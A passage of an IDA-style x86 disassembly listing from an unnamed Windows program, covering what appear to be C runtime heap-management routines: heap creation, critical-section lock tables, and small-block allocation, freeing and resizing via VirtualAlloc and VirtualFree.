; CODE XREF: sub_41E618+31j ; sub_41E618+15Ej xor eax, eax loc_41E7BF: ; CODE XREF: sub_41E618+1Ej ; sub_41E618+145j ... call __SEH_epilog retn ; END OF FUNCTION CHUNK FOR sub_41E618 ; =============== S U B R O U T I N E ======================================= sub_41E7C5 proc near ; CODE XREF: sub_41E7DF+20p cmp ds:dword_43565C, 2 jnz short loc_41E7DB cmp ds:dword_435668, 5 jb short loc_41E7DB xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_41E7DB: ; CODE XREF: sub_41E7C5+7j ; sub_41E7C5+10j push 3 pop eax retn sub_41E7C5 endp ; =============== S U B R O U T I N E ======================================= sub_41E7DF proc near ; CODE XREF: start-1C281p arg_0 = dword ptr 4 xor eax, eax cmp [esp+arg_0], eax push 0 setz al push 1000h push eax call ds:dword_4290B4 ; HeapCreate test eax, eax mov ds:dword_4395B8, eax jz short loc_41E829 call sub_41E7C5 cmp eax, 3 mov ds:dword_4395BC, eax jnz short loc_41E82C push 3F8h call sub_41E9B4 test eax, eax pop ecx jnz short loc_41E82C push ds:dword_4395B8 call ds:dword_4290B0 ; HeapDestroy loc_41E829: ; CODE XREF: sub_41E7DF+1Ej xor eax, eax retn ; --------------------------------------------------------------------------- loc_41E82C: ; CODE XREF: sub_41E7DF+2Dj ; sub_41E7DF+3Cj xor eax, eax inc eax retn sub_41E7DF endp ; =============== S U B R O U T I N E ======================================= sub_41E830 proc near ; CODE XREF: sub_42059Dp push esi push edi xor esi, esi mov edi, offset dword_435508 loc_41E839: ; CODE XREF: sub_41E830+35j cmp ds:dword_433154[esi*8], 1 jnz short loc_41E861 lea eax, ds:433150h[esi*8] mov [eax], edi push 0FA0h push dword ptr [eax] add edi, 18h call sub_423F72 test eax, eax pop ecx pop ecx jz short loc_41E86D loc_41E861: ; CODE XREF: sub_41E830+11j inc esi cmp esi, 24h jl short loc_41E839 xor eax, eax inc eax loc_41E86A: ; CODE XREF: sub_41E830+47j pop edi pop esi retn ; --------------------------------------------------------------------------- loc_41E86D: ; CODE XREF: sub_41E830+2Fj and ds:off_433150[esi*8], 0 xor eax, eax jmp short loc_41E86A sub_41E830 endp ; =============== S U B R O U T I N E ======================================= sub_41E879 proc near ; CODE XREF: sub_420386:loc_42039Ej push ebx mov ebx, ds:dword_429098 push esi mov esi, offset off_433150 push edi loc_41E887: ; CODE XREF: sub_41E879+30j mov edi, [esi] test edi, edi jz short loc_41E8A0 cmp dword ptr [esi+4], 1 jz short loc_41E8A0 push edi call ebx ; RtlDeleteCriticalSection push edi call sub_41C2DD and dword ptr [esi], 0 pop ecx loc_41E8A0: ; CODE XREF: sub_41E879+12j ; sub_41E879+18j add esi, 8 cmp esi, offset off_433270 jl short loc_41E887 mov esi, offset off_433150 pop edi loc_41E8B1: ; CODE XREF: sub_41E879+50j mov eax, [esi] test eax, eax jz short loc_41E8C0 cmp dword ptr [esi+4], 1 jnz short loc_41E8C0 push eax call ebx ; RtlDeleteCriticalSection loc_41E8C0: ; CODE XREF: sub_41E879+3Cj ; sub_41E879+42j add esi, 8 cmp esi, offset off_433270 jl short loc_41E8B1 pop esi pop ebx retn sub_41E879 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E8CE proc near ; CODE XREF: sub_41C330+2p ; sub_41C90A+2p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push ds:off_433150[eax*8] call ds:dword_42912C ; RtlLeaveCriticalSection pop ebp retn sub_41E8CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E8E3 proc near ; CODE XREF: sub_41D92B+13p ; sub_41E983+14p ... ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 8 push offset stru_4296C0 call __SEH_prolog mov esi, [ebp+arg_0] lea esi, ds:433150h[esi*8] xor ebx, ebx cmp [esi], ebx jnz short loc_41E971 push 18h call sub_41D0C4 pop ecx mov edi, eax cmp edi, ebx jnz short loc_41E91A call sub_4200B5 mov dword ptr [eax], 0Ch jmp short loc_41E959 ; --------------------------------------------------------------------------- loc_41E91A: ; CODE XREF: sub_41E8E3+28j push 0Ah call sub_41E983 pop ecx mov [ebp+ms_exc.disabled], ebx cmp [esi], ebx jnz short loc_41E961 push 0FA0h push edi call sub_423F72 pop ecx pop ecx test eax, eax jnz short loc_41E95D push edi call sub_41C2DD call sub_4200B5 mov dword ptr [eax], 0Ch push 0FFFFFFFFh lea eax, [ebp+ms_exc.prev_er] push eax call sub_41DECE add esp, 0Ch loc_41E959: ; CODE XREF: sub_41E8E3+35j xor eax, eax jmp short loc_41E974 ; --------------------------------------------------------------------------- loc_41E95D: ; CODE XREF: sub_41E8E3+55j mov [esi], edi jmp short loc_41E968 ; --------------------------------------------------------------------------- loc_41E961: ; CODE XREF: sub_41E8E3+44j push edi call sub_41C2DD pop ecx loc_41E968: ; CODE XREF: sub_41E8E3+7Cj or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_41E97A loc_41E971: ; CODE XREF: sub_41E8E3+1Aj xor eax, eax inc eax loc_41E974: ; CODE XREF: sub_41E8E3+78j call __SEH_epilog retn sub_41E8E3 endp ; =============== S U B R O U T I N E ======================================= sub_41E97A proc near ; CODE XREF: sub_41E8E3+89p ; DATA XREF: .text:stru_4296C0o push 0Ah call sub_41E8CE pop ecx retn sub_41E97A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E983 proc near ; CODE XREF: sub_41C2DD+1Ep ; sub_41C8CD+16p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push esi lea esi, ds:433150h[eax*8] cmp dword ptr [esi], 0 jnz short loc_41E9A9 push eax call sub_41E8E3 test eax, eax pop ecx jnz short loc_41E9A9 push 11h call sub_41DC6D pop ecx loc_41E9A9: ; CODE XREF: sub_41E983+11j ; sub_41E983+1Cj push dword ptr [esi] call ds:dword_429130 ; RtlEnterCriticalSection pop esi pop ebp retn sub_41E983 endp ; =============== S U B R O U T I N E ======================================= sub_41E9B4 proc near ; CODE XREF: sub_41E7DF+34p arg_0 = dword ptr 4 push 140h push 0 push ds:dword_4395B8 call ds:dword_4290A0 ; RtlAllocateHeap test eax, eax mov ds:dword_4395A4, eax jnz short loc_41E9D1 retn ; --------------------------------------------------------------------------- loc_41E9D1: ; CODE XREF: sub_41E9B4+1Aj mov ecx, [esp+arg_0] and ds:dword_43959C, 0 and ds:dword_4395A0, 0 mov ds:dword_4395AC, eax xor eax, eax mov ds:dword_4395A8, ecx mov ds:dword_4395B0, 10h inc eax retn sub_41E9B4 endp ; =============== S U B R O U T I N E ======================================= sub_41E9FC proc near ; CODE XREF: sub_41C2DD+29p ; sub_41E618+5Bp ... arg_0 = dword ptr 4 mov eax, ds:dword_4395A0 lea ecx, [eax+eax*4] mov eax, ds:dword_4395A4 lea ecx, [eax+ecx*4] jmp short loc_41EA20 ; --------------------------------------------------------------------------- loc_41EA0E: ; CODE XREF: sub_41E9FC+26j mov edx, [esp+arg_0] sub edx, [eax+0Ch] cmp edx, 100000h jb short locret_41EA26 add eax, 14h loc_41EA20: ; CODE XREF: sub_41E9FC+10j cmp eax, ecx jb short loc_41EA0E xor eax, eax locret_41EA26: ; CODE XREF: sub_41E9FC+1Fj retn sub_41E9FC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EA27 proc near ; CODE XREF: sub_41C2DD+38p ; sub_41E618+B8p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov ecx, [ebp+arg_0] mov eax, [ecx+10h] push esi mov esi, [ebp+arg_4] push edi mov edi, esi sub edi, [ecx+0Ch] add esi, 0FFFFFFFCh shr edi, 0Fh mov ecx, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_10], ecx mov ecx, [esi] dec ecx test cl, 1 mov [ebp+var_4], ecx jnz loc_41ED3B push ebx lea ebx, [ecx+esi] mov edx, [ebx] mov [ebp+var_C], edx mov edx, [esi-4] mov [ebp+var_8], edx mov edx, [ebp+var_C] test dl, 1 mov [ebp+arg_4], ebx jnz short loc_41EAF2 sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41EA8A push 3Fh pop edx loc_41EA8A: ; CODE XREF: sub_41EA27+5Ej mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41EAD4 cmp edx, 20h mov ebx, 80000000h jnb short loc_41EAB5 mov ecx, edx shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+44h], ebx dec byte ptr [ecx] jnz short loc_41EAD1 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41EAD1 ; --------------------------------------------------------------------------- loc_41EAB5: ; CODE XREF: sub_41EA27+73j lea ecx, [edx-20h] shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41EAD1 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41EAD1: ; CODE XREF: sub_41EA27+85j ; sub_41EA27+8Cj ... mov ebx, [ebp+arg_4] loc_41EAD4: ; CODE XREF: sub_41EA27+69j mov edx, [ebx+8] mov ebx, [ebx+4] mov ecx, [ebp+var_4] add ecx, [ebp+var_C] mov [edx+4], ebx mov edx, [ebp+arg_4] mov ebx, [edx+4] mov edx, [edx+8] mov [ebx+8], edx mov [ebp+var_4], ecx loc_41EAF2: ; CODE XREF: sub_41EA27+55j mov edx, ecx sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41EB00 push 3Fh pop edx loc_41EB00: ; CODE XREF: sub_41EA27+D4j mov ebx, [ebp+var_8] and ebx, 1 mov [ebp+var_C], ebx jnz loc_41EB9E sub esi, [ebp+var_8] mov ebx, [ebp+var_8] sar ebx, 4 push 3Fh mov [ebp+arg_4], esi dec ebx pop esi cmp ebx, esi jbe short loc_41EB25 mov ebx, esi loc_41EB25: ; CODE XREF: sub_41EA27+FAj add ecx, [ebp+var_8] mov edx, ecx sar edx, 4 dec edx cmp edx, esi mov [ebp+var_4], ecx jbe short loc_41EB37 mov edx, esi loc_41EB37: ; CODE XREF: sub_41EA27+10Cj cmp ebx, edx jz short loc_41EB99 mov ecx, [ebp+arg_4] mov esi, [ecx+4] cmp esi, [ecx+8] jnz short loc_41EB81 cmp ebx, 20h mov esi, 80000000h jnb short loc_41EB67 mov ecx, ebx shr esi, cl not esi and [eax+edi*4+44h], esi dec byte ptr [ebx+eax+4] jnz short loc_41EB81 mov ecx, [ebp+arg_0] and [ecx], esi jmp short loc_41EB81 ; --------------------------------------------------------------------------- loc_41EB67: ; CODE XREF: sub_41EA27+127j lea ecx, [ebx-20h] shr esi, cl not esi and [eax+edi*4+0C4h], esi dec byte ptr [ebx+eax+4] jnz short loc_41EB81 mov ecx, [ebp+arg_0] and [ecx+4], esi loc_41EB81: ; CODE XREF: sub_41EA27+11Dj ; sub_41EA27+137j ... mov ecx, [ebp+arg_4] mov esi, [ecx+8] mov ecx, [ecx+4] mov [esi+4], ecx mov ecx, [ebp+arg_4] mov esi, [ecx+4] mov ecx, [ecx+8] mov [esi+8], ecx loc_41EB99: ; CODE XREF: sub_41EA27+112j mov esi, [ebp+arg_4] jmp short loc_41EBA1 ; --------------------------------------------------------------------------- loc_41EB9E: ; CODE XREF: sub_41EA27+E2j mov ebx, [ebp+arg_0] loc_41EBA1: ; CODE XREF: sub_41EA27+175j cmp [ebp+var_C], 0 jnz short loc_41EBAF cmp ebx, edx jz loc_41EC2F loc_41EBAF: ; CODE XREF: sub_41EA27+17Ej mov ecx, [ebp+var_10] lea ecx, [ecx+edx*8] mov ebx, [ecx+4] mov [esi+8], ecx mov [esi+4], ebx mov [ecx+4], esi mov ecx, [esi+4] mov [ecx+8], esi mov ecx, [esi+4] cmp ecx, [esi+8] jnz short loc_41EC2F mov cl, [edx+eax+4] mov byte ptr [ebp+arg_4+3], cl inc cl cmp edx, 20h mov [edx+eax+4], cl jnb short loc_41EC06 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41EBF5 mov ecx, edx mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41EBF5: ; CODE XREF: sub_41EA27+1BEj mov ebx, 80000000h mov ecx, edx shr ebx, cl lea eax, [eax+edi*4+44h] or [eax], ebx jmp short loc_41EC2F ; --------------------------------------------------------------------------- loc_41EC06: ; CODE XREF: sub_41EA27+1B8j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41EC1C lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41EC1C: ; CODE XREF: sub_41EA27+1E3j lea ecx, [edx-20h] mov edx, 80000000h shr edx, cl lea eax, [eax+edi*4+0C4h] or [eax], edx loc_41EC2F: ; CODE XREF: sub_41EA27+182j ; sub_41EA27+1A6j ... mov eax, [ebp+var_4] mov [esi], eax mov [eax+esi-4], eax mov eax, [ebp+var_10] dec dword ptr [eax] jnz loc_41ED3A mov eax, ds:dword_43959C test eax, eax jz loc_41ED2C mov ecx, ds:dword_4395B4 mov esi, ds:dword_42918C push 4000h shl ecx, 0Fh add ecx, [eax+0Ch] mov ebx, 8000h push ebx push ecx call esi ; VirtualFree mov ecx, ds:dword_4395B4 mov eax, ds:dword_43959C mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, ds:dword_43959C mov eax, [eax+10h] mov ecx, ds:dword_4395B4 and dword ptr [eax+ecx*4+0C4h], 0 mov eax, ds:dword_43959C mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, ds:dword_43959C mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_41ECBD and dword ptr [eax+4], 0FFFFFFFEh mov eax, ds:dword_43959C loc_41ECBD: ; CODE XREF: sub_41EA27+28Bj cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_41ED2C push ebx push 0 push dword ptr [eax+0Ch] call esi ; VirtualFree mov eax, ds:dword_43959C push dword ptr [eax+10h] push 0 push ds:dword_4395B8 call ds:dword_4291AC ; RtlFreeHeap mov eax, ds:dword_4395A0 mov edx, ds:dword_4395A4 lea eax, [eax+eax*4] shl eax, 2 mov ecx, eax mov eax, ds:dword_43959C sub ecx, eax lea ecx, [ecx+edx-14h] push ecx lea ecx, [eax+14h] push ecx push eax call sub_41BFA0 mov eax, [ebp+arg_0] add esp, 0Ch dec ds:dword_4395A0 cmp eax, ds:dword_43959C jbe short loc_41ED22 sub [ebp+arg_0], 14h loc_41ED22: ; CODE XREF: sub_41EA27+2F5j mov eax, ds:dword_4395A4 mov ds:dword_4395AC, eax loc_41ED2C: ; CODE XREF: sub_41EA27+223j ; sub_41EA27+29Aj mov eax, [ebp+arg_0] mov ds:dword_43959C, eax mov ds:dword_4395B4, edi loc_41ED3A: ; CODE XREF: sub_41EA27+216j pop ebx loc_41ED3B: ; CODE XREF: sub_41EA27+37j pop edi pop esi leave retn sub_41EA27 endp ; =============== S U B R O U T I N E ======================================= sub_41ED3F proc near ; CODE XREF: sub_41F1DB+150p mov eax, ds:dword_4395A0 mov ecx, ds:dword_4395B0 push edi xor edi, edi cmp eax, ecx jnz short loc_41ED85 lea eax, [ecx+ecx*4+50h] shl eax, 2 push eax push ds:dword_4395A4 push edi push ds:dword_4395B8 call ds:dword_429190 ; RtlReAllocateHeap cmp eax, edi jnz short loc_41ED74 xor eax, eax pop edi retn ; --------------------------------------------------------------------------- loc_41ED74: ; CODE XREF: sub_41ED3F+2Fj add ds:dword_4395B0, 10h mov ds:dword_4395A4, eax mov eax, ds:dword_4395A0 loc_41ED85: ; CODE XREF: sub_41ED3F+10j mov ecx, ds:dword_4395A4 push esi push 41C4h push 8 push ds:dword_4395B8 lea eax, [eax+eax*4] lea esi, [ecx+eax*4] call ds:dword_4290A0 ; RtlAllocateHeap cmp eax, edi mov [esi+10h], eax jnz short loc_41EDB0 loc_41EDAC: ; CODE XREF: sub_41ED3F+9Bj xor eax, eax jmp short loc_41EDF3 ; --------------------------------------------------------------------------- loc_41EDB0: ; CODE XREF: sub_41ED3F+6Bj push 4 push 2000h push 100000h push edi call ds:dword_429188 ; VirtualAlloc cmp eax, edi mov [esi+0Ch], eax jnz short loc_41EDDC push dword ptr [esi+10h] push edi push ds:dword_4395B8 call ds:dword_4291AC ; RtlFreeHeap jmp short loc_41EDAC ; --------------------------------------------------------------------------- loc_41EDDC: ; CODE XREF: sub_41ED3F+89j or dword ptr [esi+8], 0FFFFFFFFh mov [esi], edi mov [esi+4], edi inc ds:dword_4395A0 mov eax, [esi+10h] or dword ptr [eax], 0FFFFFFFFh mov eax, esi loc_41EDF3: ; CODE XREF: sub_41ED3F+6Fj pop esi pop edi retn sub_41ED3F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EDF6 proc near ; CODE XREF: sub_41F1DB+15Fp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov ecx, [ebp+arg_0] mov eax, [ecx+8] push ebx push esi mov esi, [ecx+10h] push edi xor ebx, ebx jmp short loc_41EE0E ; --------------------------------------------------------------------------- loc_41EE0B: ; CODE XREF: sub_41EDF6+1Aj shl eax, 1 inc ebx loc_41EE0E: ; CODE XREF: sub_41EDF6+13j test eax, eax jge short loc_41EE0B mov eax, ebx imul eax, 204h lea eax, [eax+esi+144h] push 3Fh mov [ebp+var_8], eax pop edx loc_41EE27: ; CODE XREF: sub_41EDF6+3Bj mov [eax+8], eax mov [eax+4], eax add eax, 8 dec edx jnz short loc_41EE27 push 4 mov edi, ebx push 1000h shl edi, 0Fh add edi, [ecx+0Ch] push 8000h push edi call ds:dword_429188 ; VirtualAlloc test eax, eax jnz short loc_41EE5A or eax, 0FFFFFFFFh jmp loc_41EEF7 ; --------------------------------------------------------------------------- loc_41EE5A: ; CODE XREF: sub_41EDF6+5Aj lea edx, [edi+7000h] cmp edi, edx mov [ebp+var_4], edx ja short loc_41EEAA mov ecx, edx sub ecx, edi shr ecx, 0Ch lea eax, [edi+10h] inc ecx loc_41EE72: ; CODE XREF: sub_41EDF6+AFj or dword ptr [eax-8], 0FFFFFFFFh or dword ptr [eax+0FECh], 0FFFFFFFFh lea edx, [eax+0FFCh] mov [eax], edx lea edx, [eax-1004h] mov dword ptr [eax-4], 0FF0h mov [eax+4], edx mov dword ptr [eax+0FE8h], 0FF0h add eax, 1000h dec ecx jnz short loc_41EE72 mov edx, [ebp+var_4] loc_41EEAA: ; CODE XREF: sub_41EDF6+6Fj mov eax, [ebp+var_8] add eax, 1F8h lea ecx, [edi+0Ch] mov [eax+4], ecx mov [ecx+8], eax lea ecx, [edx+0Ch] mov [eax+8], ecx mov [ecx+4], eax and dword ptr [esi+ebx*4+44h], 0 xor edi, edi inc edi mov [esi+ebx*4+0C4h], edi mov al, [esi+43h] mov cl, al inc cl test al, al mov eax, [ebp+arg_0] mov [esi+43h], cl jnz short loc_41EEE7 or [eax+4], edi loc_41EEE7: ; CODE XREF: sub_41EDF6+ECj mov edx, 80000000h mov ecx, ebx shr edx, cl not edx and [eax+8], edx mov eax, ebx loc_41EEF7: ; CODE XREF: sub_41EDF6+5Fj pop edi pop esi pop ebx leave retn sub_41EDF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EEFC proc near ; CODE XREF: sub_41E618+77p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov ecx, [ebp+arg_0] mov eax, [ecx+10h] push ebx push esi mov esi, [ebp+arg_8] push edi mov edi, [ebp+arg_4] mov edx, edi sub edx, [ecx+0Ch] add esi, 17h shr edx, 0Fh mov ecx, edx imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [edi-4] and esi, 0FFFFFFF0h dec ecx cmp esi, ecx lea edi, [ecx+edi-4] mov ebx, [edi] mov [ebp+arg_8], ecx mov [ebp+var_4], ebx jle loc_41F09E test bl, 1 jnz loc_41F097 add ebx, ecx cmp esi, ebx jg loc_41F097 mov ecx, [ebp+var_4] sar ecx, 4 dec ecx cmp ecx, 3Fh mov [ebp+var_8], ecx jbe short loc_41EF71 push 3Fh pop ecx mov [ebp+var_8], ecx loc_41EF71: ; CODE XREF: sub_41EEFC+6Dj mov ebx, [edi+4] cmp ebx, [edi+8] jnz short loc_41EFBC cmp ecx, 20h mov ebx, 80000000h jnb short loc_41EF9D shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [ecx] jnz short loc_41EFBC mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41EFBC ; --------------------------------------------------------------------------- loc_41EF9D: ; CODE XREF: sub_41EEFC+85j add ecx, 0FFFFFFE0h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41EFBC mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41EFBC: ; CODE XREF: sub_41EEFC+7Bj ; sub_41EEFC+98j ... mov ecx, [edi+8] mov ebx, [edi+4] mov [ecx+4], ebx mov ecx, [edi+4] mov edi, [edi+8] mov [ecx+8], edi mov ecx, [ebp+arg_8] sub ecx, esi add [ebp+var_4], ecx cmp [ebp+var_4], 0 jle loc_41F085 mov edi, [ebp+var_4] mov ecx, [ebp+arg_4] sar edi, 4 dec edi cmp edi, 3Fh lea ecx, [ecx+esi-4] jbe short loc_41EFF6 push 3Fh pop edi loc_41EFF6: ; CODE XREF: sub_41EEFC+F5j mov ebx, [ebp+var_C] lea ebx, [ebx+edi*8] mov [ebp+arg_8], ebx mov ebx, [ebx+4] mov [ecx+4], ebx mov ebx, [ebp+arg_8] mov [ecx+8], ebx mov [ebx+4], ecx mov ebx, [ecx+4] mov [ebx+8], ecx mov ebx, [ecx+4] cmp ebx, [ecx+8] jnz short loc_41F073 mov cl, [edi+eax+4] mov byte ptr [ebp+arg_8+3], cl inc cl cmp edi, 20h mov [edi+eax+4], cl jnb short loc_41F04A cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41F042 mov ecx, edi mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41F042: ; CODE XREF: sub_41EEFC+136j lea eax, [eax+edx*4+44h] mov ecx, edi jmp short loc_41F06A ; --------------------------------------------------------------------------- loc_41F04A: ; CODE XREF: sub_41EEFC+130j cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41F060 lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41F060: ; CODE XREF: sub_41EEFC+152j lea eax, [eax+edx*4+0C4h] lea ecx, [edi-20h] loc_41F06A: ; CODE XREF: sub_41EEFC+14Cj mov edx, 80000000h shr edx, cl or [eax], edx loc_41F073: ; CODE XREF: sub_41EEFC+11Ej mov edx, [ebp+arg_4] mov ecx, [ebp+var_4] lea eax, [edx+esi-4] mov [eax], ecx mov [ecx+eax-4], ecx jmp short loc_41F088 ; --------------------------------------------------------------------------- loc_41F085: ; CODE XREF: sub_41EEFC+DEj mov edx, [ebp+arg_4] loc_41F088: ; CODE XREF: sub_41EEFC+187j lea eax, [esi+1] mov [edx-4], eax mov [edx+esi-8], eax jmp loc_41F1D3 ; --------------------------------------------------------------------------- loc_41F097: ; CODE XREF: sub_41EEFC+50j ; sub_41EEFC+5Aj xor eax, eax jmp loc_41F1D6 ; --------------------------------------------------------------------------- loc_41F09E: ; CODE XREF: sub_41EEFC+47j jge loc_41F1D3 mov ebx, [ebp+arg_4] sub [ebp+arg_8], esi lea ecx, [esi+1] mov [ebx-4], ecx lea ebx, [ebx+esi-4] mov esi, [ebp+arg_8] sar esi, 4 dec esi cmp esi, 3Fh mov [ebp+arg_4], ebx mov [ebx-4], ecx jbe short loc_41F0C9 push 3Fh pop esi loc_41F0C9: ; CODE XREF: sub_41EEFC+1C8j test byte ptr [ebp+var_4], 1 jnz loc_41F153 mov esi, [ebp+var_4] sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41F0E2 push 3Fh pop esi loc_41F0E2: ; CODE XREF: sub_41EEFC+1E1j mov ecx, [edi+4] cmp ecx, [edi+8] jnz short loc_41F12C cmp esi, 20h mov ebx, 80000000h jnb short loc_41F10D mov ecx, esi shr ebx, cl lea esi, [esi+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [esi] jnz short loc_41F129 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41F129 ; --------------------------------------------------------------------------- loc_41F10D: ; CODE XREF: sub_41EEFC+1F6j lea ecx, [esi-20h] shr ebx, cl lea ecx, [esi+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41F129 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41F129: ; CODE XREF: sub_41EEFC+208j ; sub_41EEFC+20Fj ... mov ebx, [ebp+arg_4] loc_41F12C: ; CODE XREF: sub_41EEFC+1ECj mov ecx, [edi+8] mov esi, [edi+4] mov [ecx+4], esi mov esi, [edi+8] mov ecx, [edi+4] mov [ecx+8], esi mov esi, [ebp+arg_8] add esi, [ebp+var_4] mov [ebp+arg_8], esi sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41F153 push 3Fh pop esi loc_41F153: ; CODE XREF: sub_41EEFC+1D1j ; sub_41EEFC+252j mov ecx, [ebp+var_C] lea ecx, [ecx+esi*8] mov edi, [ecx+4] mov [ebx+8], ecx mov [ebx+4], edi mov [ecx+4], ebx mov ecx, [ebx+4] mov [ecx+8], ebx mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41F1CA mov cl, [esi+eax+4] mov byte ptr [ebp+arg_4+3], cl inc cl cmp esi, 20h mov [esi+eax+4], cl jnb short loc_41F1A1 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41F199 mov ecx, esi mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx], edi loc_41F199: ; CODE XREF: sub_41EEFC+28Dj lea eax, [eax+edx*4+44h] mov ecx, esi jmp short loc_41F1C1 ; --------------------------------------------------------------------------- loc_41F1A1: ; CODE XREF: sub_41EEFC+287j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41F1B7 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx+4], edi loc_41F1B7: ; CODE XREF: sub_41EEFC+2A9j lea eax, [eax+edx*4+0C4h] lea ecx, [esi-20h] loc_41F1C1: ; CODE XREF: sub_41EEFC+2A3j mov edx, 80000000h shr edx, cl or [eax], edx loc_41F1CA: ; CODE XREF: sub_41EEFC+275j mov eax, [ebp+arg_8] mov [ebx], eax mov [eax+ebx-4], eax loc_41F1D3: ; CODE XREF: sub_41EEFC+196j ; sub_41EEFC:loc_41F09Ej xor eax, eax inc eax loc_41F1D6: ; CODE XREF: sub_41EEFC+19Dj pop edi pop esi pop ebx leave retn sub_41EEFC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F1DB proc near ; CODE XREF: sub_41D01D+2Dp ; sub_41E618+89p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov ecx, [ebp+arg_0] mov eax, ds:dword_4395A0 mov edx, ds:dword_4395A4 add ecx, 17h and ecx, 0FFFFFFF0h push ebx mov [ebp+var_10], ecx sar ecx, 4 push esi lea eax, [eax+eax*4] push edi dec ecx cmp ecx, 20h lea edi, [edx+eax*4] mov [ebp+var_4], edi jge short loc_41F218 or esi, 0FFFFFFFFh shr esi, cl or [ebp+var_8], 0FFFFFFFFh jmp short loc_41F225 ; --------------------------------------------------------------------------- loc_41F218: ; CODE XREF: sub_41F1DB+30j add ecx, 0FFFFFFE0h or eax, 0FFFFFFFFh xor esi, esi shr eax, cl mov [ebp+var_8], eax loc_41F225: ; CODE XREF: sub_41F1DB+3Bj mov eax, ds:dword_4395AC mov ebx, eax mov [ebp+var_C], esi cmp ebx, edi jmp short loc_41F247 ; --------------------------------------------------------------------------- loc_41F233: ; CODE XREF: sub_41F1DB+6Fj mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41F24C add ebx, 14h cmp ebx, [ebp+var_4] loc_41F247: ; CODE XREF: sub_41F1DB+56j mov [ebp+arg_0], ebx jb short loc_41F233 loc_41F24C: ; CODE XREF: sub_41F1DB+64j cmp ebx, [ebp+var_4] jnz short loc_41F275 mov ebx, edx jmp short loc_41F266 ; --------------------------------------------------------------------------- loc_41F255: ; CODE XREF: sub_41F1DB+90j mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41F26D add ebx, 14h loc_41F266: ; CODE XREF: sub_41F1DB+78j cmp ebx, eax mov [ebp+arg_0], ebx jb short loc_41F255 loc_41F26D: ; CODE XREF: sub_41F1DB+86j cmp ebx, eax jz loc_41F309 loc_41F275: ; CODE XREF: sub_41F1DB+74j ; sub_41F1DB+170j mov ds:dword_4395AC, ebx mov eax, [ebx+10h] mov edx, [eax] cmp edx, 0FFFFFFFFh mov [ebp+var_4], edx jz short loc_41F29C mov ecx, 